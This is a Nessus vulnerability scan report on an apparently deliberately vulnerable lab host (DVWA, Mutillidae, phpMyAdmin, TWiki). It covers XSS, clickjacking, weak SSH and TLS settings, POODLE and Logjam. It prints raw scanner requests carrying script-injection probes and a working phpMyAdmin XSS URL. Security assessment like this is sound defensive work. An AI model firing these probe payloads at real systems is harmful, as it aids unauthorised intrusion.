Published: 2012/01/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The request GET /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=cmrirh HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

```
produces the following path information :
<h1>TWiki Installation Error</h1>
Template file cmrirh.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
</body></html>
```

```
The request GET /mutillidae/?page=<script>document.cookie="testnrxn=2322;"</script> HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
```

Accept-Language: en
Connection: Keep-Alive
Cookie: PHPSESSID=411138ab9777ae77a93c406bd2878002
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

produces the following path information :

```
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;script&gt;document.cookie=&quot;testn&#x23;22;&quot;&lt;/script&gt;)[<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
```

The request GET /mutillidae/index.php?page=<<<<"uqphid%20">>>> HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

produces the following path information :

```
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;&lt;&lt;&lt;&quot;uqphid &gt;&gt;&gt;)[<a href='function.include'>function.include</a>]: failed to o [...]
```

85582 - Web Application Potentially Vulnerable to Clickjacking

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

<http://www.nessus.org/u?399b1f56>

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

<https://en.wikipedia.org/wiki/Clickjacking>

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/80/www

The following pages do not use a clickjacking mitigation response header and contain a clickable event :

- <http://192.168.50.152/dvwa/login.php>
- <http://192.168.50.152/mutillidae/>
- <http://192.168.50.152/mutillidae/index.php>
- <http://192.168.50.152/phpMyAdmin/>
- <http://192.168.50.152/phpMyAdmin/index.php>
- <http://192.168.50.152/twiki/bin/search>
- <http://192.168.50.152/twiki/bin/search/Main>
- <http://192.168.50.152/twiki/bin/search/Main/SearchResult>
- <http://192.168.50.152/twiki/bin/view>
- <http://192.168.50.152/twiki/bin/view/Main>
- <http://192.168.50.152/twiki/bin/view/Main/WebHome>

11229 - Web Server info.php / phpinfo.php Detection

Synopsis

The remote web server contains a PHP script that is prone to an information disclosure attack.

Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including :

- The username of the user who installed PHP and if they are a SUDO user.
- The IP address of the host.
- The version of the operating system.
- The web server version.
- The root directory of the web server.
- Configuration information about the remote PHP installation.

Solution

Remove the affected file(s).

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/02/12, Modified: 2024/06/07

Plugin Output

tcp/80/www

Nessus discovered the following URLs that call phpinfo() :

- http://192.168.50.152/phpinfo.php

- <http://192.168.50.152/mutillidae/phpinfo.php>

51425 - phpMyAdmin error.php BBcode Tag XSS (PMASA-2010-9)

Synopsis

The remote web server hosts a PHP script that is prone to a cross- site scripting attack.

Description

The version of phpMyAdmin fails to validate BBcode tags in user input to the 'error' parameter of the 'error.php' script before using it to generate dynamic HTML.

An attacker may be able to leverage this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site. For example, this could be used to cause a page with arbitrary text and a link to an external site to be displayed.

See Also

<https://www.phpmyadmin.net/security/PMASA-2010-9/>

Solution

Upgrade to phpMyAdmin 3.4.0-beta1 or later.

Risk Factor

Medium

VPR Score

3.8

EPSS Score

0.0161

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	45633
CVE	CVE-2010-4480
XREF	EDB-ID:15699

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2011/01/06, Modified: 2022/04/11

Plugin Output

tcp/80/www

Nessus was able to exploit the issue using the following URL :

http://192.168.50.152/phpMyAdmin/error.php?type=phpmyadmin_pmasa_2010_9.nasl&error=%5ba%40https%3a%2f%2fwww.phpmyadmin.net%2fsecurity%2fPMASA-2010-9%2f%40_self%5dClick%20here%5b%2fa%5d

36083 - phpMyAdmin file_path Parameter Vulnerabilities (PMASA-2009-1)

Synopsis

The remote web server contains a PHP script that is affected by multiple issues.

Description

The version of phpMyAdmin installed on the remote host fails to sanitize user-supplied input to the 'file_path' parameter of the 'bs_disp_as_mime_type.php' script before using it to read a file and reporting it in dynamically-generated HTML. An unauthenticated, remote attacker may be able to leverage this issue to read arbitrary files, possibly from third-party hosts, or to inject arbitrary HTTP headers in responses sent to third-party users.

Note that the application is also reportedly affected by several other issues, although Nessus has not actually checked for them.

See Also

<https://www.phpmyadmin.net/security/PMASA-2009-1/>

Solution

Upgrade to phpMyAdmin 3.1.3.1 or apply the patch referenced in the project's advisory.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34253
XREF	SECUNIA:34468

Plugin Information

Published: 2009/04/03, Modified: 2022/04/11

Plugin Output

tcp/80/www

49142 - phpMyAdmin setup.php Verbose Server Name XSS (PMASA-2010-7)

Synopsis

The remote web server contains a PHP application that has a cross- site scripting vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input to the 'verbose server name' field.

A remote attacker could exploit this by tricking a user into executing arbitrary script code.

See Also

<https://www.tenable.com/security/research/tra-2010-02>

<https://www.phpmyadmin.net/security/PMASA-2010-7/>

Solution

Upgrade to phpMyAdmin 3.3.7 or later.

Risk Factor

Medium

VPR Score

3.0

EPSS Score

0.0022

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2010-3263
XREF	TRA:TRA-2010-02
XREF	CWE:20
XREF	CWE:74

XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2010/09/08, Modified: 2022/04/11

Plugin Output

tcp/80/www

By making a series of requests, Nessus was able to determine the following phpMyAdmin installation is vulnerable :

`http://192.168.50.152/phpMyAdmin/`

10114 - ICMP Timestamp Request Remote Date Disclosure

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

VPR Score

4.2

EPSS Score

0.8808

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

References

CVE	CVE-1999-0524
XREF	CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/09/04

Plugin Output

icmp/0

The difference between the local and remote clocks is -1 seconds.

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

VPR Score

3.6

EPSS Score

0.5961

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

The following client-to-server Cipher Block Chaining (CBC) algorithms are supported :

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```

The following server-to-client Cipher Block Chaining (CBC) algorithms are supported :

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```

153953 - SSH Weak Key Exchange Algorithms Enabled

Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

<https://datatracker.ietf.org/doc/html/rfc9142>

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

Plugin Output

tcp/22/ssh

The following weak key exchange algorithms are enabled :

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
```

71049 - SSH Weak MAC Algorithms Enabled

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms
are supported :
```

```
  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

```
The following server-to-client Message Authentication Code (MAC) algorithms
are supported :
```

```
  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

83875 - SSL/TLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)

Synopsis

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits.

Description

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits. Through cryptanalysis, a third party may be able to find the shared secret in a short amount of time (depending on modulus size and attacker resources). This may allow an attacker to recover the plaintext or potentially violate the integrity of connections.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to use a unique Diffie-Hellman moduli of 2048 bits or greater.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

2.9

EPSS Score

0.9736

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	74733
CVE	CVE-2015-4000
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/28, Modified: 2022/12/05

Plugin Output

tcp/25/smtp

Vulnerable connection combinations :

```
SSL/TLS version  : SSLv3
Cipher suite     : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Diffie-Hellman MODP size (bits) : 512
Logjam attack difficulty : Easy (could be carried out by individuals)
```

```
SSL/TLS version  : TLSv1.0
Cipher suite     : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Diffie-Hellman MODP size (bits) : 512
Logjam attack difficulty : Easy (could be carried out by individuals)
```

83738 - SSL/TLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported (Logjam)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_DHE cipher suites with keys less than or equal to 512 bits. Through cryptanalysis, a third party can find the shared secret in a short amount of time.

A man-in-the-middle attacker may be able to downgrade the session to use EXPORT_DHE cipher suites. Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to remove support for EXPORT_DHE cipher suites.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

2.9

EPSS Score

0.9736

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.2 (CVSS2#E:U/RL:ND/RC:C)

References

BID 74733
CVE CVE-2015-4000
XREF CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/21, Modified: 2022/12/05

Plugin Output

tcp/25/smtp

EXPORT_DHE cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.1

EPSS Score

0.9749

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	70574
CVE	CVE-2014-3566
XREF	CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

Plugin Output

tcp/25/smtp

Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.

42057 - Web Server Allows Password Auto-Completion

Synopsis

The 'autocomplete' attribute is not disabled on password fields.

Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

Risk Factor

Low

Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/  
Destination Page: /phpMyAdmin/index.php  
  
Page : /phpMyAdmin/index.php  
Destination Page: /phpMyAdmin/index.php
```

26194 - Web Server Transmits Cleartext Credentials

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/  
Destination Page: /phpMyAdmin/index.php  
  
Page : /phpMyAdmin/index.php  
Destination Page: /phpMyAdmin/index.php
```


18261 - Apache Banner Linux Distribution Disclosure

Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2022/03/21

Plugin Output

tcp/0

```
The Linux distribution detected was :  
- Ubuntu 8.04 (gutsy)
```

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

```
URL      : http://192.168.50.152/
Version  : 2.2.99
Source   : Server: Apache/2.2.8 (Ubuntu) DAV/2
backported : 1
modules  : DAV/2
os       : ConvertedUbuntu
```


84574 - Backported Security Patch Detection (PHP)

Synopsis

Security patches have been backported.

Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/07/07, Modified: 2024/05/31

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

39520 - Backported Security Patch Detection (SSH)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

```
Give Nessus credentials to perform local checks.
```

39521 - Backported Security Patch Detection (WWW)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

47830 - CGI Generic Injectable Parameter

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

None

References

XREF CWE:86

Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=cmrirh

----- output -----
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title> TWiki . Main . cmrirh </title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-88 [...]
<base href="http://192.168.50.152/twiki/bin/view/Main/cmrirh" />
-----

+ The 'search' parameter of the /twiki/bin/search/Main/SearchResult CGI :
```

```

/twiki/bin/search/Main/SearchResult?search=cmrirh

----- output -----
</tr>
</table>
</form>Search: <b> cmrirh </b>
<p /><table width="100%" border="0" cellpadding="0" cellspacing="4">
<tr bgcolor="#FFFC0">
-----

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=cmrirh

----- output -----
<html><body>
<h1>TWiki Installation Error</h1>
Template file cmrirh.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
-----

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=cmrirh

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=cmrirh">Toggle Hints</a></
td><td><a href="./index.php?do=toggle-security&page=cmrirh">Toggle
Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=cmrirh

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=cmrirh">Toggle Hints</a></
td><td><a href="./index.php?do=toggle-security&page=cmrirh [...]

```

33817 - CGI Generic Tests Load Estimation (all tests)

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

on site request forgery          : S=6          SP=6          AP=6          SC=6          AC=6
SQL injection                    : S=888        SP=888        AP=1560       SC=168
AC=2760
unseen parameters               : S=1295       SP=1295       AP=2275       SC=245
AC=4025
local file inclusion            : S=37         SP=37         AP=65         SC=7
AC=115
cookie manipulation             : S=10         SP=10         AP=10         SC=4          AC=10
web code injection              : S=37         SP=37         AP=65         SC=7
AC=115
XML injection                   : S=37         SP=37         AP=65         SC=7
AC=115
format string                   : S=74         SP=74         AP=130        SC=14
AC=230
script injection                : S=6          SP=6          AP=6          SC=6          AC=6
```

injectable parameter	: S=74	SP=74	AP=130	SC=14	
AC=230					
cross-site scripting (comprehensive test):	S=148	SP=148	AP=260	SC=28	
AC=460					
cross-site scripting (extended patterns)	: S=36	SP=36	AP=36	SC=36	AC=36
directory traversal (write access)	: S=74	SP=74	AP=130	SC=14	
AC=230					
SSI injection	: S=111	SP=111	AP=195	SC=21	
AC=345					
header injection	: S=12	SP=12	AP=12	SC=12	AC=12
HTML injection	: S=30	SP=30	AP=30	SC=30	AC=30
directory traversal	: S=925	SP=925	AP=1625	SC=175	
AC=2875					
cross-site scripting (quick test)	[...]				

39470 - CGI Generic Tests Timeout

Synopsis

Some generic CGI attacks ran out of time.

Description

Some generic CGI tests ran out of time during the scan. The results may be incomplete.

Solution

Consider increasing the 'maximum run time (minutes)' preference for the 'Web Applications Settings' in order to prevent the CGI scanning from timing out. Less ambitious options could also be used, such as :

- Test more that one parameter at a time per form :

'Test all combinations of parameters' is much slower than 'Test random pairs of parameters' or 'Test all pairs of parameters (slow)'.

- 'Stop after one flaw is found per web server (fastest)'

under 'Do not stop after the first flaw is found per web page' is quicker than 'Look for all flaws (slowest)'.

- In the Settings/Advanced menu, try reducing the value for 'Max number of concurrent TCP sessions per host' or 'Max simultaneous checks per host'.

Risk Factor

None

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following tests timed out without finding any flaw :  
- SQL injection
```


45590 - Common Platform Enumeration (CPE)

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

<http://cpe.mitre.org/>

<https://nvd.nist.gov/products/cpe>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2024/09/03

Plugin Output

tcp/0

Following application CPE's matched on the remote system :

```
cpe:/a:apache:http_server:2.2.8 -> Apache Software Foundation Apache HTTP Server
cpe:/a:apache:http_server:2.2.99 -> Apache Software Foundation Apache HTTP Server
cpe:/a:openbsd:openssh:4.7 -> OpenBSD OpenSSH
cpe:/a:openbsd:openssh:4.7p1 -> OpenBSD OpenSSH
cpe:/a:php:php:5.2.4 -> PHP PHP
cpe:/a:php:php:5.2.4-2ubuntu5.10 -> PHP PHP
cpe:/a:phpmyadmin:phpmyadmin:3.1.1 -> phpMYAdmin
cpe:/a:samba:samba -> Samba Samba
cpe:/a:samba:samba:3.0.20 -> Samba Samba
cpe:/a:twiki:twiki:01_feb_2003 -> TWiki
```

54615 - Device Type

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2022/09/09

Plugin Output

tcp/0

```
Remote device type : general-purpose  
Confidence level : 99
```

35716 - Ethernet Card Manufacturer Detection

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

<https://standards.ieee.org/faqs/regauth.html>

<http://www.nessus.org/u?794673b4>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :
```

```
